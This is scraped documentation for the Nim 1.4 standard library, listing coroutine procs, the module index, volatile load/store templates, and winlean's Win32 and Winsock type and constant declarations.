[Edit](https://github.com/nim-lang/Nim/edit/devel/lib/pure/coro.nim#L224) ``` proc start(c: proc (); stacksize: int = defaultStackSize): CoroutineRef {...}{. discardable, raises: [], tags: [RootEffect].} ``` Schedule coroutine for execution. It does not run immediately. [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/pure/coro.nim#L258) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/pure/coro.nim#L258) ``` proc run() {...}{.raises: [], tags: [TimeEffect].} ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/pure/coro.nim#L288) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/pure/coro.nim#L288) ``` proc alive(c: CoroutineRef): bool {...}{.raises: [], tags: [].} ``` Returns `true` if coroutine has not returned, `false` otherwise. [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/pure/coro.nim#L328) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/pure/coro.nim#L328) ``` proc wait(c: CoroutineRef; interval = 0.01) {...}{.raises: [], tags: [].} ``` Returns only after coroutine `c` has returned. `interval` is time in seconds how often. [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/pure/coro.nim#L331) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/pure/coro.nim#L331) nim Nim Standard Library Nim Standard Library ==================== Nim's library is divided into *pure libraries*, *impure libraries*, and *wrappers*. Pure libraries do not depend on any external `*.dll` or `lib*.so` binary while impure libraries do. A wrapper is an impure library that is a very low-level interface to a C library. Read this [document](apis) for a quick overview of the API design. Nimble ------ Nim's standard library only covers the basics, check out <https://nimble.directory/> for a list of 3rd party packages. Pure libraries -------------- ### Automatic imports * <system> Basic procs and operators that every program needs. It also provides IO facilities for reading and writing text and binary files. It is imported implicitly by the compiler. Do not import it directly. It relies on compiler magic to work. * <threads> Basic Nim thread support. **Note**: This is part of the system module. Do not import it explicitly. Enabled with `--threads:on`. * <channels> Nim message passing support for threads. **Note**: This is part of the system module. Do not import it explicitly. Enabled with `--threads:on`. ### Core * <bitops> Provides a series of low-level methods for bit manipulation. * <cpuinfo> This module implements procs to determine the number of CPUs / cores. * <endians> This module contains helpers that deal with different byte orders. * <lenientops> Provides binary operators for mixed integer/float expressions for convenience. * <locks> Locks and condition variables for Nim. * <macros> Contains the AST API and documentation of Nim for writing macros. * <rlocks> Reentrant locks for Nim. * <typeinfo> Provides (unsafe) access to Nim's run-time type information. * <typetraits> This module defines compile-time reflection procs for working with types. * <volatile> This module contains code for generating volatile loads and stores, which are useful in embedded and systems programming. ### Algorithms * <algorithm> This module implements some common generic algorithms like sort or binary search. * <sequtils> This module implements operations for the built-in seq type which were inspired by functional programming languages. ### Collections * <critbits> This module implements a *crit bit tree* which is an efficient container for a sorted set of strings, or a sorted mapping of strings. * <deques> Implementation of a double-ended queue. The underlying implementation uses a `seq`. * <heapqueue> Implementation of a heap data structure that can be used as a priority queue. * <intsets> Efficient implementation of a set of ints as a sparse bit set. * <lists> Nim linked list support. Contains singly and doubly linked lists and circular lists ("rings"). * <options> The option type encapsulates an optional value. * <sets> Nim hash and bit set support. * <sharedlist> Nim shared linked list support. Contains a shared singly-linked list. * <sharedtables> Nim shared hash table support. Contains shared tables. * <tables> Nim hash table support. Contains tables, ordered tables, and count tables. ### String handling * <cstrutils> Utilities for `cstring` handling. * [std/editdistance](editdistance) This module contains an algorithm to compute the edit distance between two Unicode strings. * <encodings> Converts between different character encodings. On UNIX, this uses the `iconv` library, on Windows the Windows API. * <parseutils> This module contains helpers for parsing tokens, numbers, identifiers, etc. * <pegs> This module contains procedures and operators for handling PEGs. * <punycode> Implements a representation of Unicode with the limited ASCII character subset. * <ropes> This module contains support for a *rope* data type. Ropes can represent very long strings efficiently; especially concatenation is done in O(1) instead of O(n). * <strformat> Macro based standard string interpolation/formatting. Inspired by Python's `f`-strings. * <strmisc> This module contains uncommon string handling operations that do not fit with the commonly used operations in strutils. * <strscans> This module contains a `scanf` macro for convenient parsing of mini languages. * <strtabs> The `strtabs` module implements an efficient hash table that is a mapping from strings to strings. Supports a case-sensitive, case-insensitive and style-insensitive modes. * <strutils> This module contains common string handling operations like changing case of a string, splitting a string into substrings, searching for substrings, replacing substrings. * <unicode> This module provides support to handle the Unicode UTF-8 encoding. * <unidecode> It provides a single proc that does Unicode to ASCII transliterations. Based on Python's Unidecode module. * [std/wordwrap](wordwrap) This module contains an algorithm to wordwrap a Unicode string. ### Time handling * [std/monotimes](monotimes) The `monotimes` module implements monotonic timestamps. * <times> The `times` module contains support for working with time. ### Generic Operating System Services * <distros> This module implements the basics for OS distribution ("distro") detection and the OS's native package manager. Its primary purpose is to produce output for Nimble packages, but it also contains the widely used **Distribution** enum that is useful for writing platform-specific code. See <packaging> for hints on distributing Nim using OS packages. * <dynlib> This module implements the ability to access symbols from shared libraries. * <marshal> Contains procs for serialization and deserialization of arbitrary Nim data structures. * <memfiles> This module provides support for memory-mapped files (Posix's `mmap`) on the different operating systems. * <os> Basic operating system facilities like retrieving environment variables, reading command line arguments, working with directories, running shell commands, etc. * <osproc> Module for process communication beyond `os.execShellCmd`. * <streams> This module provides a stream interface and two implementations thereof: the `FileStream` and the `StringStream` which implement the stream interface for Nim file objects (`File`) and strings. Other modules may provide other implementations for this standard stream interface. * <terminal> This module contains a few procedures to control the *terminal* (also called *console*). The implementation simply uses ANSI escape sequences and does not depend on any other module. ### Math libraries * <complex> This module implements complex numbers and relevant mathematical operations. * <fenv> Floating-point environment. Handling of floating-point rounding and exceptions (overflow, zero-divide, etc.). * <math> Mathematical operations like cosine, square root. * <mersenne> Mersenne twister random number generator. * <random> Fast and tiny random number generator. * <rationals> This module implements rational numbers and relevant mathematical operations. * <stats> Statistical analysis * [std/sums](sums) Fast summation functions. ### Internet Protocols and Support * <asyncdispatch> This module implements an asynchronous dispatcher for IO operations. * <asyncfile> This module implements asynchronous file reading and writing using `asyncdispatch`. * <asyncftpclient> This module implements an asynchronous FTP client using the `asyncnet` module. * <asynchttpserver> This module implements an asynchronous HTTP server using the `asyncnet` module. * <asyncnet> This module implements asynchronous sockets based on the `asyncdispatch` module. * <asyncstreams> This module provides `FutureStream` - a future that acts as a queue. * <cgi> This module implements helpers for CGI applications. * <cookies> This module contains helper procs for parsing and generating cookies. * <httpclient> This module implements a simple HTTP client which supports both synchronous and asynchronous retrieval of web pages. * <mimetypes> This module implements a mimetypes database. * <nativesockets> This module implements a low-level sockets API. * <net> This module implements a high-level sockets API. It replaces the `sockets` module. * <selectors> This module implements a selector API with backends specific to each OS. Currently, epoll on Linux and select on other operating systems. * <smtp> This module implements a simple SMTP client. * <uri> This module provides functions for working with URIs. ### Threading * <threadpool> Implements Nim's [spawn](manual_experimental#parallel-amp-spawn). ### Parsers * <htmlparser> This module parses an HTML document and creates its XML tree representation. * <json> High-performance JSON parser. * <lexbase> This is a low-level module that implements an extremely efficient buffering scheme for lexers and parsers. This is used by the diverse parsing modules. * <parsecfg> The `parsecfg` module implements a high-performance configuration file parser. The configuration file's syntax is similar to the Windows `.ini` format, but much more powerful, as it is not a line based parser. String literals, raw string literals, and triple quote string literals are supported as in the Nim programming language. * <parsecsv> The `parsecsv` module implements a simple high-performance CSV parser. * <parseopt> The `parseopt` module implements a command line option parser. * <parsesql> The `parsesql` module implements a simple high-performance SQL parser. * <parsexml> The `parsexml` module implements a simple high performance XML/HTML parser. The only encoding that is supported is UTF-8. The parser has been designed to be somewhat error-correcting, so that even some "wild HTML" found on the web can be parsed with it. ### Docutils * [packages/docutils/highlite](highlite) Source highlighter for programming or markup languages. Currently, only a few languages are supported, other languages may be added. The interface supports one language nested in another. * [packages/docutils/rst](rst) This module implements a reStructuredText parser. A large subset is implemented. Some features of the markdown wiki syntax are also supported. * [packages/docutils/rstast](rstast) This module implements an AST for the reStructuredText parser. * [packages/docutils/rstgen](rstgen) This module implements a generator of HTML/Latex from reStructuredText. ### XML Processing * <xmltree> A simple XML tree. More efficient and simpler than the DOM. It also contains a macro for XML/HTML code generation. * <xmlparser> This module parses an XML document and creates its XML tree representation. ### Generators * <htmlgen> This module implements a simple XML and HTML code generator. Each commonly used HTML tag has a corresponding macro that generates a string with its HTML representation. ### Hashing * <base64> This module implements a base64 encoder and decoder. * <hashes> This module implements efficient computations of hash values for diverse Nim types. * <md5> This module implements the MD5 checksum algorithm. * <oids> An OID is a global ID that consists of a timestamp, a unique counter, and a random value. This combination should suffice to produce a globally distributed unique ID. This implementation was extracted from the Mongodb interface and it thus binary compatible with a Mongo OID. * [std/sha1](sha1) This module implements a sha1 encoder and decoder. ### Miscellaneous * <browsers> This module implements procs for opening URLs with the user's default browser. * <colors> This module implements color handling for Nim. * <coro> This module implements experimental coroutines in Nim. * <logging> This module implements a simple logger. * <segfaults> Turns access violations or segfaults into a `NilAccessDefect` exception. * <sugar> This module implements nice syntactic sugar based on Nim's macro system. * <unittest> Implements a Unit testing DSL. * [std/varints](varints) Decode variable-length integers that are compatible with SQLite. ### Modules for JS backend * <asyncjs> Types and macros for writing asynchronous procedures in JavaScript. * <dom> Declaration of the Document Object Model for the JS backend. * <jsconsole> Wrapper for the `console` object. * <jscore> The wrapper of core JavaScript functions. For most purposes, you should be using the `math`, `json`, and `times` stdlib modules instead of this module. * <jsffi> Types and macros for easier interaction with JavaScript. Impure libraries ---------------- ### Regular expressions * <re> This module contains procedures and operators for handling regular expressions. The current implementation uses PCRE. ### Database support * <db_postgres> A higher level PostgreSQL database wrapper. The same interface is implemented for other databases too. * <db_mysql> A higher level MySQL database wrapper. The same interface is implemented for other databases too. * <db_sqlite> A higher level SQLite database wrapper. The same interface is implemented for other databases too. Wrappers -------- The generated HTML for some of these wrappers is so huge that it is not contained in the distribution. You can then find them on the website. ### Windows-specific * <winlean> Contains a wrapper for a small subset of the Win32 API. * <registry> Windows registry support. ### UNIX specific * <posix> Contains a wrapper for the POSIX standard. * <posix_utils> Contains helpers for the POSIX standard or specialized for Linux and BSDs. ### Regular expressions * <pcre> Wrapper for the PCRE library. ### GUI libraries * <iup> The wrapper of the IUP GUI library. ### Database support * <postgres> Contains a wrapper for the PostgreSQL API. * <mysql> Contains a wrapper for the mySQL API. * <sqlite3> Contains a wrapper for SQLite 3 API. * <odbcsql> interface to the ODBC driver. ### Network Programming and Internet Protocols * <openssl> Wrapper for OpenSSL.
programming_docs
nim volatile volatile ======== This module contains code for generating volatile loads and stores, which are useful in embedded and systems programming. Templates --------- ``` template volatileLoad[T](src: ptr T): T ``` Generates a volatile load of the value stored in the container `src`. Note that this only effects code generation on `C` like backends [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/pure/volatile.nim#L13) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/pure/volatile.nim#L13) ``` template volatileStore[T](dest: ptr T; val: T) ``` Generates a volatile store into the container `dest` of the value `val`. Note that this only effects code generation on `C` like backends [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/pure/volatile.nim#L26) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/pure/volatile.nim#L26) nim winlean winlean ======= This module implements a small wrapper for some needed Win API procedures, so that the Nim compiler does not depend on the huge Windows module. Imports ------- <dynlib> Types ----- ``` WinChar = Utf16Char ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/windows/winlean.nim#L24) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/windows/winlean.nim#L24) ``` Handle = int ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/windows/winlean.nim#L29) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/windows/winlean.nim#L29) ``` LONG = int32 ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/windows/winlean.nim#L30) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/windows/winlean.nim#L30) ``` ULONG = int32 ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/windows/winlean.nim#L31) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/windows/winlean.nim#L31) ``` PULONG = ptr int ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/windows/winlean.nim#L32) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/windows/winlean.nim#L32) ``` WINBOOL = int32 ``` `WINBOOL` uses opposite convention as posix, !=0 meaning success. [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/windows/winlean.nim#L33) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/windows/winlean.nim#L33) ``` DWORD = int32 ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/windows/winlean.nim#L36) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/windows/winlean.nim#L36) ``` PDWORD = ptr DWORD ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/windows/winlean.nim#L37) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/windows/winlean.nim#L37) ``` LPINT = ptr int32 ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/windows/winlean.nim#L38) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/windows/winlean.nim#L38) ``` ULONG_PTR = uint ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/windows/winlean.nim#L39) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/windows/winlean.nim#L39) ``` PULONG_PTR = ptr uint ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/windows/winlean.nim#L40) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/windows/winlean.nim#L40) ``` HDC = Handle ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/windows/winlean.nim#L41) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/windows/winlean.nim#L41) ``` HGLRC = Handle ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/windows/winlean.nim#L42) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/windows/winlean.nim#L42) ``` SECURITY_ATTRIBUTES {...}{.final, pure.} = object nLength*: int32 lpSecurityDescriptor*: pointer bInheritHandle*: WINBOOL ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/windows/winlean.nim#L44) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/windows/winlean.nim#L44) ``` STARTUPINFO {...}{.final, pure.} = object cb*: int32 lpReserved*: cstring lpDesktop*: cstring lpTitle*: cstring dwX*: int32 dwY*: int32 dwXSize*: int32 dwYSize*: int32 dwXCountChars*: int32 dwYCountChars*: int32 dwFillAttribute*: int32 dwFlags*: int32 wShowWindow*: int16 cbReserved2*: int16 lpReserved2*: pointer hStdInput*: Handle hStdOutput*: Handle hStdError*: Handle ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/windows/winlean.nim#L49) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/windows/winlean.nim#L49) ``` PROCESS_INFORMATION {...}{.final, pure.} = object hProcess*: Handle hThread*: Handle dwProcessId*: int32 dwThreadId*: int32 ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/windows/winlean.nim#L69) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/windows/winlean.nim#L69) ``` FILETIME {...}{.final, pure.} = object dwLowDateTime*: DWORD dwHighDateTime*: DWORD ``` CANNOT BE int64 BECAUSE OF ALIGNMENT [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/windows/winlean.nim#L75) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/windows/winlean.nim#L75) ``` BY_HANDLE_FILE_INFORMATION {...}{.final, pure.} = object dwFileAttributes*: DWORD ftCreationTime*: FILETIME ftLastAccessTime*: FILETIME ftLastWriteTime*: FILETIME dwVolumeSerialNumber*: DWORD nFileSizeHigh*: DWORD nFileSizeLow*: DWORD nNumberOfLinks*: DWORD nFileIndexHigh*: DWORD nFileIndexLow*: DWORD ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/windows/winlean.nim#L79) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/windows/winlean.nim#L79) ``` OSVERSIONINFO {...}{.final, pure.} = object dwOSVersionInfoSize*: DWORD dwMajorVersion*: DWORD dwMinorVersion*: DWORD dwBuildNumber*: DWORD dwPlatformId*: DWORD szCSDVersion*: array[0 .. 127, WinChar] ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/windows/winlean.nim#L91) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/windows/winlean.nim#L91) ``` Protoent = object p_name*: cstring p_aliases*: cstringArray p_proto*: cshort ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/windows/winlean.nim#L99) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/windows/winlean.nim#L99) ``` WIN32_FIND_DATA {...}{.pure.} = object dwFileAttributes*: int32 ftCreationTime*: FILETIME ftLastAccessTime*: FILETIME ftLastWriteTime*: FILETIME nFileSizeHigh*: int32 nFileSizeLow*: int32 dwReserved0: int32 dwReserved1: int32 cFileName*: array[0 .. 260 - 1, WinChar] cAlternateFileName*: array[0 .. 13, WinChar] ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/windows/winlean.nim#L323) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/windows/winlean.nim#L323) ``` SocketHandle = distinct int ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/windows/winlean.nim#L458) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/windows/winlean.nim#L458) ``` WSAData {...}{.importc: "WSADATA", header: "winsock2.h".} = object wVersion, wHighVersion: int16 szDescription: array[0 .. WSADESCRIPTION_LEN, char] szSystemStatus: array[0 .. WSASYS_STATUS_LEN, char] iMaxSockets, iMaxUdpDg: int16 lpVendorInfo: cstring ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/windows/winlean.nim#L461) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/windows/winlean.nim#L461) ``` SockAddr {...}{.importc: "SOCKADDR", header: "winsock2.h".} = object sa_family*: uint16 sa_data*: array[0 .. 13, char] ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/windows/winlean.nim#L468) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/windows/winlean.nim#L468) ``` InAddr {...}{.importc: "IN_ADDR", header: "winsock2.h".} = object s_addr*: uint32 ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/windows/winlean.nim#L474) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/windows/winlean.nim#L474) ``` Sockaddr_in {...}{.importc: "SOCKADDR_IN", header: "winsock2.h".} = object sin_family*: uint16 sin_port*: uint16 sin_addr*: InAddr sin_zero*: array[0 .. 7, char] ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/windows/winlean.nim#L478) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/windows/winlean.nim#L478) ``` In6_addr {...}{.importc: "IN6_ADDR", header: "winsock2.h".} = object bytes* {...}{.importc: "u.Byte".}: array[0 .. 15, char] ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/windows/winlean.nim#L484) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/windows/winlean.nim#L484) ``` Sockaddr_in6 {...}{.importc: "SOCKADDR_IN6", header: "ws2tcpip.h".} = object sin6_family*: uint16 sin6_port*: uint16 sin6_flowinfo*: int32 sin6_addr*: In6_addr sin6_scope_id*: int32 ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/windows/winlean.nim#L488) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/windows/winlean.nim#L488) ``` Sockaddr_storage {...}{.importc: "SOCKADDR_STORAGE", header: "winsock2.h".} = object ss_family*: uint16 ss_pad1: array[6, byte] ss_align: int64 ss_pad2: array[112, byte] ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/windows/winlean.nim#L496) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/windows/winlean.nim#L496) ``` Servent = object s_name*: cstring s_aliases*: cstringArray when defined(cpu64): s_proto*: cstring s_port*: int16 else: s_port*: int16 s_proto*: cstring ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/windows/winlean.nim#L502) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/windows/winlean.nim#L502) ``` Hostent = object h_name*: cstring h_aliases*: cstringArray h_addrtype*: int16 h_length*: int16 h_addr_list*: cstringArray ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/windows/winlean.nim#L512) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/windows/winlean.nim#L512) ``` TFdSet = object fd_count*: cint fd_array*: array[0 .. 64 - 1, SocketHandle] ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/windows/winlean.nim#L519) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/windows/winlean.nim#L519) ``` AddrInfo = object ai_flags*: cint ## Input flags. ai_family*: cint ## Address family of socket. ai_socktype*: cint ## Socket type. ai_protocol*: cint ## Protocol of socket. ai_addrlen*: csize_t ## Length of socket address. ai_canonname*: cstring ## Canonical name of service location. ai_addr*: ptr SockAddr ## Socket address of socket. ai_next*: ptr AddrInfo ## Pointer to next in list. ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/windows/winlean.nim#L523) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/windows/winlean.nim#L523) ``` SockLen = cuint ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/windows/winlean.nim#L533) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/windows/winlean.nim#L533) ``` Timeval = object tv_sec*, tv_usec*: int32 ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/windows/winlean.nim#L541) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/windows/winlean.nim#L541) ``` WOHandleArray = array[0 .. 0x00000040 - 1, Handle] ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/windows/winlean.nim#L673) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/windows/winlean.nim#L673) ``` PWOHandleArray = ptr WOHandleArray ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/windows/winlean.nim#L674) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/windows/winlean.nim#L674) ``` WinSizeT = uint64 ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/windows/winlean.nim#L770) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/windows/winlean.nim#L770) ``` OVERLAPPED {...}{.pure, inheritable.} = object internal*: PULONG internalHigh*: PULONG offset*: DWORD offsetHigh*: DWORD hEvent*: Handle ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/windows/winlean.nim#L799) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/windows/winlean.nim#L799) ``` POVERLAPPED = ptr OVERLAPPED ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/windows/winlean.nim#L806) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/windows/winlean.nim#L806) ``` POVERLAPPED_COMPLETION_ROUTINE = proc (para1: DWORD; para2: DWORD; para3: POVERLAPPED) {...}{.stdcall.} ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/windows/winlean.nim#L808) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/windows/winlean.nim#L808) ``` GUID {...}{.final, pure.} = object D1*: int32 D2*: int16 D3*: int16 D4*: array[0 .. 7, int8] ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/windows/winlean.nim#L811) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/windows/winlean.nim#L811) ``` TWSABuf {...}{.importc: "WSABUF", header: "winsock2.h".} = object len*: ULONG buf*: cstring ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/windows/winlean.nim#L886) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/windows/winlean.nim#L886) ``` WSAPROC_ACCEPTEX = proc (sListenSocket: SocketHandle; sAcceptSocket: SocketHandle; lpOutputBuffer: pointer; dwReceiveDataLength: DWORD; dwLocalAddressLength: DWORD; dwRemoteAddressLength: DWORD; lpdwBytesReceived: ptr DWORD; lpOverlapped: POVERLAPPED): bool {...}{. stdcall, gcsafe, raises: [].} ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/windows/winlean.nim#L975) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/windows/winlean.nim#L975) ``` WSAPROC_CONNECTEX = proc (s: SocketHandle; name: ptr SockAddr; namelen: cint; lpSendBuffer: pointer; dwSendDataLength: DWORD; lpdwBytesSent: ptr DWORD; lpOverlapped: POVERLAPPED): bool {...}{. stdcall, gcsafe, raises: [].} ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/windows/winlean.nim#L984) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/windows/winlean.nim#L984) ``` WSAPROC_GETACCEPTEXSOCKADDRS = proc (lpOutputBuffer: pointer; dwReceiveDataLength: DWORD; dwLocalAddressLength: DWORD; dwRemoteAddressLength: DWORD; LocalSockaddr: ptr PSockAddr; LocalSockaddrLength: ptr cint; RemoteSockaddr: ptr PSockAddr; RemoteSockaddrLength: ptr cint) {...}{.stdcall, gcsafe, raises: [].} ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/windows/winlean.nim#L990) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/windows/winlean.nim#L990) ``` WAITORTIMERCALLBACK = proc (para1: pointer; para2: int32): void {...}{.stdcall.} ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/windows/winlean.nim#L1026) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/windows/winlean.nim#L1026) ``` KEY_EVENT_RECORD {...}{.final, pure.} = object eventType*: int16 bKeyDown*: WINBOOL wRepeatCount*: int16 wVirtualKeyCode*: int16 wVirtualScanCode*: int16 uChar*: int16 dwControlKeyState*: DWORD ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/windows/winlean.nim#L1089) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/windows/winlean.nim#L1089) ``` LPFIBER_START_ROUTINE = proc (param: pointer): void {...}{.stdcall.} ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/windows/winlean.nim#L1108) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/windows/winlean.nim#L1108) ``` LPFILETIME = ptr FILETIME ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/windows/winlean.nim#L1126) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/windows/winlean.nim#L1126) Vars ---- ``` SOMAXCONN: cint ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/windows/winlean.nim#L545) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/windows/winlean.nim#L545) ``` INVALID_SOCKET: SocketHandle ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/windows/winlean.nim#L546) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/windows/winlean.nim#L546) ``` SOL_SOCKET: cint ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/windows/winlean.nim#L547) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/windows/winlean.nim#L547) ``` SO_DEBUG: cint ``` turn on debugging info recording [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/windows/winlean.nim#L548) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/windows/winlean.nim#L548) ``` SO_ACCEPTCONN: cint ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/windows/winlean.nim#L549) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/windows/winlean.nim#L549) ``` SO_REUSEADDR: cint ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/windows/winlean.nim#L550) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/windows/winlean.nim#L550) ``` SO_REUSEPORT: cint ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/windows/winlean.nim#L551) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/windows/winlean.nim#L551) ``` SO_KEEPALIVE: cint ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/windows/winlean.nim#L553) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/windows/winlean.nim#L553) ``` SO_DONTROUTE: cint ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/windows/winlean.nim#L554) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/windows/winlean.nim#L554) ``` SO_BROADCAST: cint ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/windows/winlean.nim#L555) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/windows/winlean.nim#L555) ``` SO_USELOOPBACK: cint ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/windows/winlean.nim#L556) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/windows/winlean.nim#L556) ``` SO_LINGER: cint ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/windows/winlean.nim#L557) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/windows/winlean.nim#L557) ``` SO_OOBINLINE: cint ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/windows/winlean.nim#L558) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/windows/winlean.nim#L558) ``` SO_DONTLINGER: cint ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/windows/winlean.nim#L560) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/windows/winlean.nim#L560) ``` SO_EXCLUSIVEADDRUSE: cint ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/windows/winlean.nim#L561) 